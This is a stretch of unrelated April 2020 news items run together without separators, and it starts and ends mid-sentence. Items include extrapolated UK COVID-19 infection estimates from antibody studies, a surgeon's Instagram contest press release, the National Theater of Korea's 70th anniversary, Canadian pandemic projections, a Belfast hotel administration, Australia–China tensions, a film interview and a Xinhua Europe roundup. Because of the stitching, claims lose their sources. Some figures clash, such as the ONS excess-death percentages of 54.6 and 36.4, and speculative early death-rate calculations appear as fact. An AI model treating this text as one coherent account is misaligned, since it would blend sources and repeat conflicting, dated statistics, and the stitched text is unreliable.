moment I would love to be proved wrong is that it is unlikely that any part of the UK, maybe outside London, will have a [prevalence] much above 10 per cent. 'And I would expect, for example in the south west, for it to be lower than for example London. I think its quite a small proportion of the population.' Similar studies to the one going on in New York, carried out in Helsinki, Finland; Stockholm, Sweden; and Gangelt, Germany, provide alternative estimates. Those cities found the death rate to be lower, at 0.19 per cent (Helsinki), 0.37 per cent (Gangelt) or 0.4 per cent (Stockholm). A study by the University of California, Berkeley, looked at the outbreak in Italy and estimated the death rate could be 0.5 per cent. And at the start of the outbreak, government scientists also suggested that the death rate could be as low as 0.1 per cent, which would indicate half the British population has been infected already. Applying the various estimated death rates of the virus, the true number of people infected with the coronavirus could be one of the following: 0.1% death rate (Early Government estimate) - 33,696,000 cases in the UK 0.19% death rate (Helsinki, Finland) - 17,682,105 cases in the UK 0.37% death rate (Gangelt, Germany) - 9,072,702 cases in the UK 0.4% death rate (Stockholm, Sweden) - 8,399,000 cases in the UK 0.5% death rate (University of California, Berkeley) - 6,719,200 cases in the UK 0.79% death rate (New York state) - 4,252,658 cases in the UK The death figures used for the estimates are based on Office for National Statistics (ONS) data released today which suggests the true number of COVID-19 victims is 54.6 per cent higher than the Department of Health's figures show. ONS data shows that, when non-hospital fatalities were included, there had been 22,351 coronavirus deaths in England and Wales by April 17 - a significant rise on the 14,451 counted by health chiefs. If the same increase - 54.6 per cent - were applied to the total UK death toll confirmed today (21,731) it could mean the real number of victims was 33,596 - the number used in MailOnline's calculations. The same rule was applied to London, where the NHS has recorded 4,781 victims, increasing the city's current death toll to an estimated 7,391. Applying the death rates to London produces the following estimates: 0.1% death rate (Early Government estimate) - 7,391,000 cases in London 0.19% death rate (Helsinki, Finland) - 3,890,000 cases in London 0.37% death rate (Gangelt, Germany) - 1,997,567 cases in London 0.4% death rate (Stockholm, Sweden) - 1,847,750 cases in London 0.5% death rate (University of California, Berkeley) - 1,478,200 cases in London 0.79% death rate (New York City) - 935,569 cases in London Understanding the true numbers of people who have had the virus and not become seriously ill is the only way scientists will be able to work out the virus's true death rate. While some countries in Europe are recording death rates of more than 10 per cent among hospital patients, in wider society the likelihood of death appears consistently below one in 100 patients (one per cent). Early antibody survey results show that more than 30 per cent of people have been infected in Chelsea, Massachusetts, 14 per cent in the German district of Heinsberg, around three per cent in Oise, northern France, and 11 per cent in Stockholm. Early results from antibody surveys reveal wild variations in infection levels in communities across the US and Europe. Most are based on small samples in localised areas, but wider data is expected in the coming month WHAT CAN ANTIBODY TESTS SHOW US ABOUT THE VIRUS'S TRUE DEATH RATE? The true death rate of COVID-19 is unknown because of the way the virus is being tracked around the world. Most countries are only diagnosing people in hospitals or those with bad symptoms, meaning the number of patients they record is significantly lower than the reality. Many patients, scientists say, develop only mild illnesses or don't get any symptoms at all, meaning they are never tested and never counted. As a result, the ratio of people dying to people diagnosed is artificially high. Using antibody tests to understand the true - much larger - numbers of people who have caught the virus, and then working out what proportion of them have died, will provide more accurate death rates in the future. Early antibody surveys have already started to shine light in this area: LOS ANGELES, CALIFORNIA Blood samples in Los Angeles suggest the coronavirus death rate could be around 0.18 per cent. A study of 846 people found roughly 4.1 per cent of the countys 3.9million population has antibodies to the virus. It means that roughly 330,000 people have already caught the illness and built up some immunity to it. There were officially 600 COVID-19 deaths when the research was conducted on April 20. This suggests that around 0.18 per cent of patients fall victim to the disease. CHELSEA, MASSACHUSETTS US researchers in Boston found almost a third (31.5 per cent) of residents in the suburb of Chelsea had antibodies for the virus. They collected blood samples from 200 random volunteers and said roughly 63 people had probably caught the illness. The city of Chelsea is home to around 40,160 people. If the results were to be extrapolated to the whole city, it suggests 12,650 may have actually been infected. When the study was published on April 17, Chelsea had suffered 39 deaths to coronavirus. The finding suggests the true death rate it around 0.31 per cent. GANGELT, GERMANY Scientists studying Gangelt, dubbed the 'German Wuhan', found as many as 15 per cent of people may have already been infected with the virus. Data shows around 12,500 people live in the municipality, which sits in the North-Western state of North Rhine-Westphalia. If the results were to be extrapolated to the whole of Gangelt, it would mean that around 1,900 people have already caught the deadly virus. It is not clear exactly how many people had died in Gangelt by the time that the University of Bonn study of 1,000 people was published. But the team - whose work was not scrutinised and published in a journal - estimated the true death rate was in the region of 0.37 per cent. THE NETHERLANDS An antibody surveillance scheme in the Netherlands suggested the death rate for COVID-19 could actually be in the region of 0.63 per cent. Dutch researchers found antibodies in three per cent of blood donors, after analysing samples from around 7,000 people aged between 18 and 69. The head of the Netherlands' National Institute for Health told MPs it meant that 'several hundred thousand people' may have already been infected. Around 17.28million people live in the Netherlands. Three per cent of the country's population would equate to approximately 518,400. When results were published on April 16, official figures showed that 3,315 people had died after testing positive for COVID-19 in the Netherlands. HELSINKI, FINLAND Finnish researchers analysed around 150 blood samples by mid-April and found 3.4 per cent had antibodies for the coronavirus. The samples were all taken from the region of Uusima, which is home to approximately 1.7million people - most of whom live in the capital of Helsinki. At the time, only 2,000 cases had been confirmed by laboratory tests. But 3.4 per of the region's population would equate to around 57,800. Only 110 deaths have been registered in Uusima to-date - suggesting that the true fatality rate is closer to the 0.19 per cent mark. The study was released on April 15 - but the region's death toll has barely changed in the past week. It was not published in a journal. Advertisement The World Health Organization said the antibody surveys it has seen suggest the world is nowhere near developing herd immunity against the coronavirus. Dr Tedros Adhanom Ghebreyesus, director-general of the WHO, predicted that between two and three per cent of the global population has had COVID-19. If true, this suggests 190million people worldwide have caught the virus in the four months since it emerged. For herd immunity to develop, a community's rate is likely to need to be higher than 66 per cent, the UK's chief scientist, Sir Patrick Vallance, has suggested. Herd immunity protects people from a disease by virtue of so many people being immune to it that it cannot spread through the population. Of early surveys to work out the levels of immunity in the population, the city of Chelsea in Massachusetts, USA, has shown the largest scale of infection. A total 31.5 per cent of people there tested positive in a small sample of 200 random passers-by, carried out by scientists at the Massachusetts General Hospital. Meanwhile, rapid testing in New York city and state revealed that some 21 per cent of people in the city had antibodies against the virus, and 14 per cent statewide. Antibodies are substances which people's immune systems develop to remember how to fight off the virus the next time they come into contact with it. They are only producible through real-world infection or a vaccine - and there is no vaccine yet for the virus. The figures from New York suggest millions of people among its population of 19million have caught the virus and recovered without being recorded. The district of Heinsberg in Germany, and a town inside it - Gangelt - showed similar rates of immunity in blood bank screening in March. Fourteen per cent of people there tested positive for antibodies in a sample of around 1,500 people. In Sweden's capital, Stockholm, where the government has staunchly refused to put the country into lockdown, screening in blood donation centres showed that at least 11 per cent of residents have been exposed to the virus. Swedish officials appear to be pursuing plans to develop herd immunity - which were met with outrage when suggested in Britain - and say that they expect between a quarter and a third of the nation will already have been infected by the end of this month. One academic at Stockholm University, Tom Britton, predicts that half of the people in the capital city will have caught the virus by May 1. Despite business there continuing as usual with only advice to people to try social distancing, the country has recorded few deaths, with just 2,000 recorded victims. Exposure rates are considerably lower in other areas. In Oise, a small region in the north of France, blood bank screening found that three per cent of the population had evidence of past COVID-19 infection. The same study found that, in a small school community there, this rate soared to 26 per cent, showing there is scope for wide variations even within regions. Tests in California showed similarly low levels of infection. Testing from Santa Clara County pointed to approximately 2.8 per cent of people having been infected, while Los Angeles County testing put the figure at 4.1 per cent. These were pulled from studies done on 3,300 people and 846 people, respectively. Finland's capital region, Uusimaa, which is centred around Helsinki, showed around 3.4 per cent of people had evidence of past infection in a study of 442. A World Health Organization scientist, Dr Maria Van Kerkhove, said the number of people testing positive for antibodies was lower than experts had hoped for. Dr Kerkhove said: 'Initially, we see a lower proportion of people with antibodies than we were expecting. A lower number of people are infected,' The Guardian reported. Dr Joe Grove, a virologist at University College London, told MailOnline: 'Antibody testing is important because the better we understand the virus, the better we can respond to it. 'The true death rate allows public health experts and epidemiologist to asses what the effects of another epidemic would be. 'A lot of our current policy has been determined by the predictions of computer simulations. But those models are only as good as the data you put into them. 'So there wouldve been estimates of death rates and infections, but as we get firmer numbers we can run more accurate simulations and predict with more confidence what might happen in future. 'This is critical for working out if given epidemic will overwhelm the healthcare system again.' Current antibody surveys are limited by the quality of the tests being used, the small numbers of people recruited in the studies and a poor understanding of immunity. Because the virus has never been seen before, health authorities around the world are still scrambling to find reliable test to spot the antibodies created to fight it. In some cases, patients don't seem to produce detectable levels of antibodies at all, which has led scientists to fear that people do not become immune to COVID-19 after recovering from it. If that was the case, the virus could become unstoppable. MIAMI, April 28, 2020 /PRNewswire/ -- Board-certified Miami plastic surgeon, Adam J. Rubinstein, MD, FACS announced the launch of a "Stimulus Scavenger Hunt" contest on his Instagram accounts @drrubinstein and @plasticsurgerytruths. The Instagram based scavenger hunt will be a series of 6 questions leading up to the final question and grand prize of $1,000. Prizes such as Apple AirPods, Amazon gift cards, a medical grade skin care system and other items to help make the COVID -19 'Shelter at Home' mandate more livable. The program goes live April 28th in Dr. Rubinstein's Instagram @drrubinstein, and continues until one lucky contestant answers the final riddle correctly, winning $1000. The first person to submit the correct answer to each riddle via DM in Instagram wins a prize. Participants must remember and record all previous answers and answer the next question to be a winner. Dr. Adam J. Rubinstein "The COVID-19 epidemic has changed everyone's life around the world, and it is challenging to be #alonetogether," says Dr. Adam J Rubinstein. "We are trying to help people find a little humor, have some fun and have something to look forward to during this unprecedented time," adds Rubinstein. "We are all spending hours of time on social media these days. This Stimulus Scavenger Hunt is a way to spend some of that time winning prizes you can use during the shutdown (and beyond). And if you're the lucky one to be the first to answer the sixth (last) question correctly, I'll be sending you a check for $1000! It's my own stimulus check for one lucky winner." You can learn more on his social channels including his Instagram accounts, @drrubinstein and @plasticsurgerytruths, SnapChat @drrubinstein, and Facebook page @MiamiPlasticSurgeon. www.dr-rubinstein.com About Dr Adam J. Rubinstein Dr Adam J. Rubinstein is a Board Certified and Award-Winning Plastic Surgeon. He has served as the Chief of Plastic Surgery and Chief of the Department of Surgery for Jackson North Medical Center in Miami, FL. Dr Rubinstein specializes in whole body surgical & non-surgical cosmetic treatments for both women and men. He can discuss the latest innovations and procedures to help people make proper and informed choices. Dr. Rubinstein is also a patient advocate and is passionate about sharing the good, the bad and the ugly about common plastic surgery practices to help patients navigate the world of plastic surgery effectively and safely. His goal is to help people make their best choices about the latest and most innovative procedures. He is also an outspoken patient advocate and believes people have the right to know to make informed choices. You can learn more on his social channels including his Instagram accounts, @drrubinstein and @plasticsurgerytruths, SnapChat @drrubinstein, and Facebook page @MiamiPlasticSurgeon. www.dr-rubinstein.com Contact Stacey Bender to schedule interviews and in office observations. [email protected] (973) 650-1218 SOURCE Dr. Adam J. Rubinstein Related Links http://www.dr-rubinstein.com The National Theater of Korea (NTOK) celebrates its 70th anniversary Wednesday. Courtesy of NTOK By Kwon Mee-yoo The National Theater of Korea published a two-volume book on its 70-year history. Courtesy of NTOK The National Theater of Korea (NTOK) celebrates its 70th anniversary Wednesday, but the ceremony and all other events have been canceled or postponed due to the COVID-19 pandemic. The theater announced ambitious projects including a ceremony, an international symposium and a series of performances by national troupes during the first half of the year. Despite all the preparations, the state-run theater has been affected by the COVID-19 outbreak and has been shut down since late February to help prevent the spread of the coronavirus. With the events canceled, the theater published a commemorative book on its 70-year history as well. The 1,510-page book covers the history of the theater from the perspective of art history and sheds light on each national troupe which is currently, or has previously been, affiliated with the NTOK. NTOK CEO Kim Cheol-ho said the book focuses on stories regarding people of the theater throughout its history. "We pay tribute to the performing artists who devoted themselves to advancement of performing arts and the audiences who patronized the NTOK in this commemorative book," Kim said. The theater's history shares its fate with Korean modern history's ups and downs. The NTOK is the first national theater in Asia as Korea's thespians campaigned for its necessity after the country's liberation from Japanese colonial rule in 1945. Cover of the script of "Chunhyang-jeon," the first performance by the National Gukgeuk Company of Korea, now National Changgeuk Company of Korea, in 1962, featuring a painting of the Seoul Public Hall, now the Myeongdong Theater / Courtesy of NTOK The theater was first located at Bumingwan, currently used as the Seoul Municipal Assembly Building, in central Seoul, on April 29, 1950. Renowned playwright and the first president of the NTOK, Yoo Chi-jin, wrote the opening play "Wonsulrang," which revolved around Kim Won-sul, the second son of the Silla General Kim Yu-sin. The opening show was a big hit, which attracted 50,000 theatregoers in a week. Back then, the population of Seoul was approximately 400,000, so the play made history. However, the 1950-53 Korean War broke out only 58 days after the theater's opening and operations were suspended. The theater strived to offer performing arts to people even during the later period of the Korean War by temporarily moving to the Daegu Cultural Theater in the southeastern city of Daegu in 1953. After the war, the NTOK moved back to the capital in 1957, settling at the Seoul Public Hall, now the Myeongdong Theater. It took four years for the theater to return to Seoul as it was difficult to find the right venue as the former Bumingwan space was taken by the National Assembly. The National Theater of Korea opened its open-air theater Noleuimadang in May 1982. Courtesy of NTOK In 1973, the theater finally opened its own building at its current Mount Nam location with a 1,500-seat main theater and 330-seat small theater. Eight national troupes operated under the NTOK back then, but five of them became independent and the National Orchestra of Korea, the National Dance Company of Korea and the National Changgeuk Company of Korea are currently affiliated with the NTOK. Lee Sang-woo, professor of the Department of Korean Language and Literature at Korea University, is one of the writers of the 70th anniversary book. As a specialist in Korean modern drama, Lee emphasized the public role of the national theater. "Not all countries have a national theater. Plays and other types of performing arts are less popular than other genres of art and they might fall behind under a complete market principle. Yet, public theaters such as the NTOK play an important role in fostering the performing arts," Lee said. The National Theater of Korea launched its Repertory Season with "Sugung-ga" in 2012. Courtesy of NTOK OTTAWANew federal numbers show a patchwork pandemic playing out across the country, bringing grave warnings of a potential second or third wave as provinces dare to hit the on-switch for their economies. After nearly seven weeks of effective lockdown, Canadians are flattening the curve, meaning the growth of new infections is slowing and health systems are coping under the current strain, according to a presentation by chief public health officer Dr. Theresa Tam. Four provinces Ontario, Quebec, B.C. and Alberta are grappling with 80 per cent of the 49,000 or so cases. And the countrys case fatality rate spiked from 2.2 per cent three weeks ago to 5.5 per cent because of the virus rampage through long-term-care homes, including in Nova Scotia. Tam said no matter how gradually provinces plan to lift restrictions and she endorsed the idea of collectively planning for the future forecasts show that without effective testing, contact tracing and hospital capacity to treat outbreaks, We could see a second wave that is even bigger than the first. We all understand that if the virus accelerates again, that would be massive setback to the gains we already have so we have got to keep going at it, Tam said. This is absolutely still a marathon. Nevertheless Quebec is steaming ahead with plans to reopen stores, manufacturing facilities and schools in the coming weeks. Ontario is holding off until new infections drop. The strikingly different approaches come as premiers release new guidelines that all provinces agreed to use in their plans to lift pandemic restrictions that have shuttered non-essential businesses and enforced social distancing across the country. Under those guidelines, announced Tuesday by Prime Minister Justin Trudeau, all levels of government agreed strong measures will need to remain in place until there is a vaccine or effective treatment for COVID-19. Leading experts estimate that could take more than a year, at least. The guidelines include the need to bring the spread of COVID-19 under control; increase capacity to test, trace and isolate all cases; expand the ability of health-care systems to deal with future outbreaks; and support vulnerable people like seniors who are at greater risk of being killed by the virus. Based on information Tam presented (based on about 56 per cent of Canadas cases) older Canadians and males are at greater risk of severe disease. People older than 60 made up 95 per cent of Canadas deaths, and about two-thirds of all hospital admissions and all ICU admissions. Men were more likely than women to be admitted to hospital, and most of the deaths due to COVID-19 in Canada 79 per cent are linked to long-term-care homes and seniors homes. And although that fatality rate has spiked recently, Tam did not present a different long-term projection for expected deaths since her last presentation on April 9. She said that ratio could change again over the course of the pandemic. On Tuesday she stuck to a possible range of 4,000 to 44,000 projected deaths overall, based on assumptions that between one and 10 per cent of the population could become infected even with the strong epidemic controls Canada has enacted. Tam said because Canadians are practising physical distancing and following public health advice, Canada is not on course to hit the more dire no controls scenario that projects up to 80 per cent could become infected, with up to 355,000 deaths. She said the epidemiology of the disease varies from province to province, region to region, even between cities, and the common guidelines provinces agreed to will inform their individualized plans. Her deputy Dr. Howard Njoo said some hot spots, like Montreal, may have to look at delaying school reopenings. Yet when reporters asked whether a province like Quebec is moving too quickly with a plan for what it calls a voluntary reopening of schools, neither Tam nor Njoo would expressly criticize the move. Amir Attaran, a professor in the faculties of medicine and law at the University of Ottawa, criticized the federal scenario for suggesting the epidemic can be brought under control with only 10 per cent of the population becoming infected, saying without broader immunity or a vaccine it is highly likely many more Canadians will get infected, and Canada will continue to experience waves of outbreaks. But Attaran agreed some provinces, like PEI, Northwest Territories and Yukon which are not seeing any community transmission now, or Nunavut which has reported zero cases, may be able to manage gradual returns to work. While the provincial guidelines for reopening dont spell out what it means to achieve sufficient testing capacity or how to bring the virus under control, they recognize that provinces and territories may need to move forward at different times and in potentially different ways. They also state that international travel restrictions may only happen in later stages, based on the spread of the virus outside Canada. Speaking outside Rideau Cottage on Tuesday, Trudeau said the guidelines will ensure the relaxation of restrictions is done in the safest way. This will mean increased needs for personal protective equipment and safety measures at work, and vulnerable groups like seniors and long-term-care patients will need to be under protective measures for longer, he said. Alex Ballingall is an Ottawa-based reporter covering national politics for the Star. Follow him on Twitter: @aballinga Tonda MacCharles is an Ottawa-based reporter covering national politics for the Star. Follow her on Twitter: @tondamacc Read more about: The site of the George Best Hotel in Belfast Belfast's unfinished George Best Hotel has gone into administration, it has emerged. Matthew Ingram and Michael Lennon of Duff & Phelps have been appointed as joint administrators to the development. It's a long-delayed scheme which is part of the wider Signature Living Group, which is run by Liverpool developer Lawrence Kenwright. Michael Lennon, Duff & Phelps, said: The renovation of the hotel is in the latter stages of completion and is due to be launched later this year. In order to protect its investment and provide a platform from which the hotel can be completed, Lyell Trading Limited have taken steps to appoint the joint administrators. Expand Close Lawrence Kenwright outside the yet to open George Best Hotel / Facebook Twitter Email Whatsapp Lawrence Kenwright outside the yet to open George Best Hotel We recognise the value of the George Best Hotel as a finished development and trading hotel. In so far as it is possible, advance bookings and reservations remain unaffected. We will be exploring all options with the current funders to maximise its value and ultimately the return to creditors. Like Signature Shankly Limited, we are aware that there are a number of bedroom investors that have paid deposits, we will be contacting all investors at the earliest opportunity to confirm our appointment and gather further information. Signature Living was given approval to turn the listed Scottish Mutual Building on Donegall Square into the George Best Hotel, earlier this year. Signature Living has been contacted for comment. Australia Not Afraid of Chinas Economic Threats As It Pushes for Independent Investigation Australian trade minister Senator Simon Birmingham said the CCP virus pandemic is a major public health issue and an investigation into its origins will not be deterred because of economic coercion or threats of economic coercion from China. Speaking to ABC Radio AM on April 28, Birmingham said, Australias position is very clear, that we believe it is entirely reasonable for there to be a genuine inquiry and investigation into the cause of the loss of life of hundreds of thousands of people around the world. Birminghams comments come after China Ambassador Cheng Jingye said on April 26, in an interview with Australian Financial Review, that if Australia continues to probe into the origins of the CCP (Chinese Communist Party) virus, commonly known as novel coronavirus, that Chinese tourists may have second thoughts about visiting. The ambassador went on to suggest that if the relationship between the two nations becomes worse, Chinese people themselves may question whether to import beef and wine from Australia. Responding to a prompt from the host, Birmingham agreed that he was disappointed by Jingyes remarks, and reiterated that an investigation is needed so an outbreak with the potential to become a pandemic never happens again. Birmingham said there remains an openness from Australia to have a positive relationship with China that is built on a level of trust and transparency, even as it pursues the investigation. Senator Concetta Fierravanti-Wells responded on Twitter to the ambassadors AFR interview, saying, Regrettably, appeasing to the CCP has been the hallmark of our fellow traveler driven foreign policy. Only last year, three CCP warships allowed to visit Sydney on the 30th anniversary of the Tiananmen Square massacre! Will take much more political fortitude to decouple from China. Julia Garner in a still from The Assistant. (Vertigo) Just two years after the Weinstein story surfaced, Kitty Greens The Assistant made its debut at this years Sundance Film Festival. After squeezing in an appearance Berlin, its not waiting for a cinema release in the UK, instead arriving on digital on 1 May with its head of steam intact. Good news, then, for those whove already heard how powerful the film dubbed the Weinstein movie actually is. Except its about more than just one man: its about sexual harassment of the everyday kind, the overt and the insidious. And that makes it stand apart from others that have gone before. Could it be the me too movie weve been waiting for? Real experiences When the Weinstein story hit the headlines, Green was working on a college-set film, about power structures and consent. I was interested in the sexual assault crisis on college campuses at the time, but then the story broke and I had friends who had worked for the Weinstein Company or Miramax so I started chatting to them and then talked to more and more women who worked in the film industry about their experiences, Green tells Yahoo Movies UK. In all, she spoke to over 100 to create one long workday in the life of an assistant the coffee, the copies, the calls, the casual undermining who witnesses what she believes is her bosss inappropriate behaviour towards a young woman. The Boss Weinstein was convicted of third-degree rape and committing a first-degree criminal sexual act. (Lev Radin/Anadolu Agency via Getty Images) While the boss, as hes always called, casts a long shadow over everything that happens on the screen, we never see his face and Green is cautious when it comes to the inevitable question about him being based on Weinstein. Ive never met Harvey Weinstein, so he was never somebody that I was striving for, Green explains. I had an actor who came in to do the characters voice and he did his thing. He was terrifying and I went with that, but he wasnt necessarily trying to be him. Read more: Weinstein receives 23 year prison sentence But the decision to make it a purely vocal performance stemmed from the film focussing on a woman, Jane (Julia Garner), the assistant of the title. I wanted to be able to demonstrate his power and how toxic and corrosive it was. She was working for him and that relationship was an important part of the story, so I found ways, mostly from phone calls, to demonstrate just how toxic his character was. Story continues The least important job Writer/director Kitty Green, left, and Julia Garner pose for a portrait to promote the film "The Assistant" at the Music Lodge during the Sundance Film Festival on Sunday, Jan. 26, 2020, in Park City, Utah. (Photo by Taylor Jewell/Invision/AP) Jane is on the bottom rung of the career ladder, doing all those mundane jobs fixing the copier, doing the sandwich run, preparing the bosss office for the next meeting the sort of job most of us have done at some stage and one that everybody takes for granted. Its a striking contrast to other films on a similar theme, which concentrate on women further up the corporate structure. I was interested in why women arent in positions of power and, in order to do that, I wanted to look at it from the bottom up instead of from the top down. Lets start with the girl whos trying to get her foot in the door and whats preventing her from climbing the ladder, Green says. When I started interviewing people, I quickly discovered they had experienced very gendered work environments where the boys were quickly promoted and the girls were left getting the coffee and looking after the children and doing all these kinds of domestic duties. And they were missing out on important meetings and all kinds of opportunities that their male colleagues were getting. Gaslit by HR Julia Garner in a still from The Assistant. (Vertigo) The person with the least power, both in her office and the organisation, Janes ignored, patronised and undermined. The climax of the day during which the film is set comes when she makes a complaint to HR about the boss: shes putting everything on the line herself, and her longed-for break into the film industry simply to do the right thing. The response she receives is confusing, baffling and, for the audience, jaw-dropping. Read more: Films released early on streaming Green based the scene on the experiences of the women shed spoken to. So many of them spoke about going to HR and feeling almost gaslit by the experience, feeling utterly confused about why they went there in the first place and feeling utterly unsupported by HR, Green shares. I was interested in the way HR departments were there to protect the companies and not the employees. Light at the end of the tunnel Julia Garner (l-r) and director and screenwriter Kitty Green at Berlin Film Festival. (Gregor Fischer/picture alliance via Getty Images) Recent offerings such as Bombshell in the cinema (released on digital on 18 May) and Apple TV+s The Morning Show have explored similar territory, but from the higher echelons of corporate life, something outside the experience of most of their audiences. The Assistants grounding in the everyday it was even filmed in an actual Manhattan office makes it a film that will strike chords and resonate with those watching it. Not that it offers any easy solutions, catharsis or redemption. During her research for the film, Green spoke to a lot of young women whod had a very negative experience of the film industry and who were very pessimistic about it changing. I felt Id heard so many stories about bad treatment and bad behaviour that, at the time, I couldnt see any light at the end of the tunnel. I do think things are changing and they are getting better, but change is slow and the more conversations we have like these the better. The Assistant is released on digital platforms on 1 May, 2020 An 18-year-old man is due to appear in court charged with breaching Covid-19 laws. He was arrested in the Ballymun area yesterday evening. Earlier this month, many Americans anxiously refreshed their mobile banking apps and checked their mailboxes in search of their economic stimulus checks from the IRS. Last Friday, the mailbox at Albert Reyna's Northwest Side apartment was the landing place for someone else's check, which was mailed to a former tenant of the apartment Reyna now lives in. Reyna did not open the envelope, but could see through the window that a check was enclosed. While millions of Americans received their payments through previously used IRS direct deposit information, those who did not have their bank account details listed where mailed their checks to their last known address. Though the name of the rightful owner was a common one, Reyna employed the help of Facebook friends to return the money that so many residents are depending on during the pandemic. READ MORE: The latest news and features about coronavirus in San Antonio What Reyna didn't anticipate was the number of people with the same name as the recipient trying "desperately" to trick him into giving them the relief check. He said the messages and comments were non-stop in the days-long search for the rightful owner "It was a shame how money hungry they were," he said. By the time the previous tenant reached out to retrieve his mail, Reyna said he was frustrated by all of the other attempts to commit identity theft. He was also more suspicious. "I wanted this check to go to the right person," Reyna added. "I needed proof." Even an ID, old pieces of mail, which bore the right name and apartment address, didn't suffice for Reyna to hand over the check. It wasn't until the claimant correctly answered questions about the apartment landlord that Reyna said he was able to confidently put the envelope in the right hands. "I could see him walking back to his car, so happy," he said. Reyna said the young man started tearing up and offered him a tip for returning the mail. He said he wasn't expecting anything in return, but the gesture was "more than enough" for some tacos to celebrate his birthday on Saturday. Reyna hasn't received his check, but said he's not bothered by it. "I have my place, I have food and my car is paid for," he said. "God is providing for me regardless." He deleted the Facebook posts once the search for the right person was complete. He said the signal boost picked up a viral amount of shares, comments and incessant messages for both himself and the family the check belonged to. Though Reyna is disappointed in the number of people who tried taking money that didn't belong to them, he is looking at the experience as a positive. "It was a good deed," he said. "We just happened to see what kind of people are really out there and that's never going to change." Madalyn Mendoza covers news and puro pop culture for MySA.com | mmendoza@mysa.com | @maddyskye MORE CORONAVIRUS COVERAGE: The Federal Road Safety Corps (FRSC) has reviewed its performance in the lockdown ordered by President Muhammadu Buhari to check the spread of Covid-19 and identified challenges it encountered in enforcing the order. Bisi Kazeem, the Corps Public Education Officer (CPEO), FRSC, stated this in a statement on Tuesday in Abuja. Mr Kazeem said that Boboye Oyeyemi, the Corps Marshal of the FRSC, reviewed corps performance in an extraordinary virtual strategy meeting with FRSCs top management team and the 12 Zonal Commanding Officers nationwide. According to him, the teleconference meeting focused exclusively on reviewing the operational performance of the Corps with a view of identifying underlying challenges encountered in the course of the ongoing lockdown enforcement. Mr Kazeem said this was done to re-strategise on more effective, efficient and result yielding operational tactics that could enhance the general performance of the corps and facilitate compliance on the part of the people. He noted that the enforcement so far had been successful, but there were challenges. There were cases of citizens defying both the physical distancing in vehicles and the national quarantine order without any justifiable reasons. Other challenges encountered include excessive overloading of vehicles both with persons and goods, especially the transporters who convey food produce from the farm or market places to consumers, production plants and other places where they may be needed. They also identified excessive speed, as majority of the drivers most often take undue advantage of the low traffic density to abuse the legal speed limit. This is an act which is very dangerous and could lead to avoidable crashes with attendant loss of lives and damage to properties, Kazeem. He said that the officers applauded the management of FRSC for the measures put in place to halt the spread of the virus through the provision of face masks, sanitisers and hand gloves to operatives. Mr Kazeem quoted Mr Oyeyemi to have charged the operatives to brace up to the present realities as records had shown a consistent rise in Covid-19 cases in the country. The Corps Marshal said that extra energy and commitment must be deployed to ensure that Nigerians were made to see reasons to comply with the Presidential Taskforce and NCDC directives. He, however, emphasised on physical distancing in the vehicles, restriction of movement where applicable and the latest directive on ban on inter-state travels and curfew. (NAN) Source: Xinhua| 2020-04-29 03:03:20|Editor: huaxia Video Player Close A father enjoys the sunshine with his son in Rome, Italy, on April 27, 2020. (Xinhua/Cheng Tingting) -- Italy's coronavirus cases top 200,000, death toll at 27,359; -- Germany reports over 156,000 confirmed cases, death toll at 5,913; -- Greek PM outlines post-lockdown plan starting May 4; -- Austria set to ease COVID-19 restrictions in May; -- Coronavirus tracking app being developed in Latvia. BRUSSELS, April 28 (Xinhua) -- The following are the latest developments of the COVID-19 pandemic in European countries. ROME -- The coronavirus pandemic has claimed 27,359 lives in locked-down Italy, bringing the total number of infections, fatalities and recoveries to 201,505 as of Tuesday, according to the latest data released by the country's Civil Protection Department. The death toll on Tuesday was 382, bringing the total to 27,359 fatalities since the pandemic first broke out in the northern Lombardy region. The department reported 2,091 new infections and 2,317 more recoveries compared to Monday, bringing the nationwide totals to 105,205 and 68,941, respectively. A passenger wearing a face mask presses the door opening button of a subway train with his elbow in Berlin, capital of Germany, April 27, 2020. (Photo by Binh Truong/Xinhua) BERLIN -- Germany reported on Tuesday 1,144 new confirmed COVID-19 cases, bringing its total tally to 156,337, according to the federal disease control agency Robert Koch Institute (RKI). "It is a success that we have all achieved here," said RKI President Lothar Wieler. "We have succeeded comparatively in getting through this epidemic in Germany." At the height of pandemic in Germany, more than 6,000 new infections had been recorded by the RKI on a single day. A man wearing a face mask walks on a street in London, Britain on April 26, 2020. (Xinhua/Han Yan) LONDON -- The coronavirus-related deaths occured in England up to April 17 was around 36.4 percent higher than previously announced by the Department of Health and Social Care (DHSC) due to different counting criteria, the Office for National Statistics (ONS) said Tuesday. Figures showed that the death toll reported to the DHSC by April 17 was 13,917 for England, which is 5,068 fewer than the 18,201 death registrations involving COVID-19 reported by the ONS for the same period. "Both data sources have some delay from date of death to reporting," said the ONS, adding that "the ONS and DHSC COVID-19 death numbers have different criteria." A medical worker is seen at Evaggelismos General Hospital in Athens, Greece, on April 24, 2020. (Xinhua/Marios Lolos) ATHENS -- Greek Prime Minister Kyriakos Mitsotakis outlined on Tuesday the government's plan for gradual transition to normalcy after the lifting on May 4 of the nationwide lockdown imposed on March 23. During a televised address to the nation, he congratulated Greek people for the successful collective response to the challenge of the novel coronavirus so far. "We implemented unprecedented measures to curb its spread. You showed unprecedented responsibility and solidarity," he said. A drone with a loudspeaker warning people to stay at home is seen flying during an awareness-raising operation to prevent the spread of the COVID-19 in Oeiras, Portugal on April 26, 2020. (Photo by Pedro Fiuza/Xinhua) LISBON -- Portuguese President Marcelo Rebelo de Sousa said on Tuesday that he will not ask for the extension of the State of Emergency by the end of its third phase which concludes on May 2. The statement came after the president's meeting with public health specialists on Tuesday. "It is hoped that it will not be necessary in the future to resort to the state of emergency again," said the president at the end of the meeting held at National Authority for Medicines and Health Products (Infarmed). People walk past reopened shops at Graben street in Vienna, Austria, on April 14, 2020. Some shops and businesses in Austria began to reopen from Tuesday. (Xinhua/Guo Chen) VIENNA -- Austria has decided to progressively lift its lockdown on May 1, almost seven weeks after the restrictions were put in place to deal with the coronavirus crisis, the health minister said on Tuesday. The strict lockdown will be lifted at midnight April 30, Rudolf Anschober said at a press conference held here on Tuesday. It will be replaced by new rules: going out is generally allowed again, but it is still important to keep a minimum distance of one meter from each other, he said. A staff member distributes free food to a child from low-income household in Ogre, Latvia, April 20, 2020. Latvia has prolonged the state of emergency till May 12. (Photo by Janis/Xinhua) RIGA -- A group of Latvian IT and telecommunication companies have joined forces to develop a mobile application for tracking contacts of people infected with the novel coronavirus, local media reported Tuesday. Developers of the app hope that initially it will be used by some 400,000 of Latvia's 1.9 million residents, thus helping prevent the spread of COVID-19 in the population. The app, which uses Bluetooth to detect the presence of an infected person and runs on iOS and Android devices, will be available for free downloading in mid-May, the developers said at a news 